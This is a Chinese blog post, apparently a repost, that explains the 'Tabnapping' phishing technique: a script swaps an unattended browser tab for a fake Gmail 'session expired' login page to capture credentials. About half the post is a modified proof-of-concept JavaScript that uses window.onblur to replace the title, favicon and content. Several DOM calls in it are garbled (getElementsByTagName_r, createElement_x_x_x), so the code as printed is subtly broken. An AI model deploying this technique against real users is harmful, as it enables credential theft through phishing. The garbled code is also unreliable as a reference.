新式钓鱼攻击-浏览器标签劫持

来源:http://blog.sina.com.cn/s/blog_7ba3bfc30100xbr9.html

作者:sinrre

 

  知道这种方式是在一个境外的Hacker论坛看到一篇帖子,大家在交流一种新的攻击方式,原理是利用 javascript 来侦测已开启的标签,然后将该页面修改成和原始网页长相一样的假页面,进行钓鱼攻击。

    论坛里把这种方式定义为 Tabnapping ,另外还公布了一个POC,下载到本地研究了下,是一个JS脚本,该脚本通过 window.onblur 事件来触发页面的修改,在修改页面内容的同时,还修改了页面上的 favicon 和 titile ,以达到深度的欺骗效果。

    这里举一个案例,如果某个攻击者想要利用该方式去获取某个目标的Gmail账号密码,那攻击者只需仿Gmail登陆窗口做一个钓鱼页面,然后在页面上多写一句话“您的会话已超时,请重新登陆”,当目标在Gmail里打开一封来自攻击者发的邮件时,目标对邮件里的链接产生兴趣,在一个新Tab上打开了攻击者制作的包含 Tabnapping (下面用TN表示)JS脚本的那个页面链接,目标看完这个Tab去看其他Tab的时候,被感染TN脚本的Tab标签就会自动在后台搜索目标是否已经打开Gmail,如果打开,那这个Tab就在攻击者设定的几秒钟内修改成那个钓鱼页面。当目标回头点开那个Tab时,发现有一个“会话已超时”的Gmail登陆页面,大意的目标会顺手输入他的账号密码进行登陆,在重定向到真实邮箱界面的同时,目标的账号密码已经被保存到了攻击者的服务器或邮箱里,之所以可以重定向登陆到真实的邮箱界面里,是因为目标已经在另外的Tab已经打开了一个Gmail,之前的COOKIES还是存活的。这样整个钓鱼过程就结束了。
    分析就到这里,过多的分析也是惘然,很多时候,攻击与防御都是思路上的碰撞。
    这里附一份修改后的POC样本(javascript):
———————–HOLD住的分割线——————————————-
(function(){

var TIMER = null;
var HAS_SWITCHED = false;

// Events
window.onblur = function(){
TIMER = setTimeout(changeItUp, 5000);
parent.window.location.hash=”https://mail.google.com”;
}

window.onfocus = function(){
if(TIMER) clearTimeout(TIMER);
}

// Utils
function setTitle(text){ document.title = text; }

// This favicon object rewritten from:
// Favicon.js – Change favicon dynamically [http://ajaxify.com/run/favicon].
// Copyright (c) 2008 Michael Mahemoff. Icon updates only work in Firefox and Opera.

favicon = {
docHead: document.getElementsByTagName_r(“head”)[0],
set: function(url){
this.addLink(url);
},
addLink: function(iconURL) {
var link = document.createElement_x_x_x(“link”);
link.type = “image/x-icon”;
link.rel = “shortcut icon”;
link.href = iconURL;
this.removeLinkIfExists();
this.docHead.appendChild(link);
},

removeLinkIfExists: function() {
var links = this.docHead.getElementsByTagName_r(“link”);
for (var i=0; i<links.length; i++) {
var link = links[i];
if (link.type==”image/x-icon” && link.rel==”shortcut icon”) {
this.docHead.removeChild(link);
return; // Assuming only one match at most.
}
}
},
get: function() {
var links = this.docHead.getElementsByTagName_r(“link”);
for (var i=0; i<links.length; i++) {
var link = links[i];
if (link.type==”image/x-icon” && link.rel==”shortcut icon”) {
return link.href;
}
}
}
};


function createShield(){
div = document.createElement_x_x_x(“div”);
div.style.position = “fixed”;
div.style.top = 0;
div.style.left = 0;
div.style.backgroundColor = “white”;
div.style.width = “100%”;
div.style.height = “100%”;
div.style.textAlign = “center”;
document.body.style.overflow = “hidden”;
document.body.topMargin=”0px”;
document.body.innerHTML=”;
img = document.createElement_x_x_x(“iframe”);
img.style.width = “100%”;
img.style.height=”1000px”;
img.style.border=”0px”
img.src = “http://www.baidu.com”;
var oldTitle = document.title;
var oldFavicon = favicon.get() || “/favicon.ico”;
div.appendChild(img);
document.body.appendChild(div);
img.onclick = function(){
div.parentNode.removeChild(div);
document.body.style.overflow = “auto”;
setTitle(oldTitle);
favicon.set(oldFavicon)
}
}

function changeItUp(){
if( HAS_SWITCHED == false ){
createShield(“https://mail.google.com”);
setTitle( “Gmail: Email from Google”);
favicon.set(“https://mail.google.com/favicon.ico”);
HAS_SWITCHED = true;
}
}
})();
———————–HOLD住的分割线——————————————-

 

 

评论关闭。